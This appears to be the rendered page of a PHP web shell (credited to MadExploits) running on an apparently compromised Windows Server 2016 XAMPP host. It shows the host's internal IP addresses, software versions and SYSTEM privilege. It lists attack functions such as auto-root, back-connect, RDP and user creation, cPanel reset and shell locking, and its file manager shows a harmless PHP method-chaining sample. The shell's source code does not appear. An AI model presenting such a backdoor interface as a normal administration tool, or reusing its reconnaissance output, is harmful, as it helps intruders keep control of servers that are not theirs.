Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
tests /
parseFile /
[ HOME SHELL ]
Name
Size
Permission
Action
File_Find-1.3.0__Find.php
15.29
KB
-rw-rw-rw-
PackageUpdate.php
37.05
KB
-rw-rw-rw-
conditional.php
970
B
-rw-rw-rw-
empty.php
1
B
-rw-rw-rw-
ignore_functions_match.php
391
B
-rw-rw-rw-
math.php
85
B
-rw-rw-rw-
php5_method_chaining.php
912
B
-rw-rw-rw-
php5_method_chaining_samp2.php
590
B
-rw-rw-rw-
phpweb-entities.php
2.36
KB
-rw-rw-rw-
zip.php
446
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : php5_method_chaining.php
<?php /** * This Person class encapsulates a couple of properties which * a person might have: their name and age. * We also give the Person the opportunity to introduce themselves. * * @link http://cowburn.info/php/php5-method-chaining/ */ class Person { var $m_szName; var $m_iAge; function setName($szName) { $this->m_szName = $szName; return $this; // We now return $this (the Person) } function setAge($iAge) { $this->m_iAge = $iAge; return $this; // Again, return our Person } function introduce() { printf('Hello my name is %s and I am %d years old.', $this->m_szName, $this->m_iAge); } } // We'll be creating me, digitally. $peter = new Person(); // Let's set some attributes and let me introduce myself, // all in one line of code. $peter->setName('Peter')->setAge(23)->introduce(); ?>
Close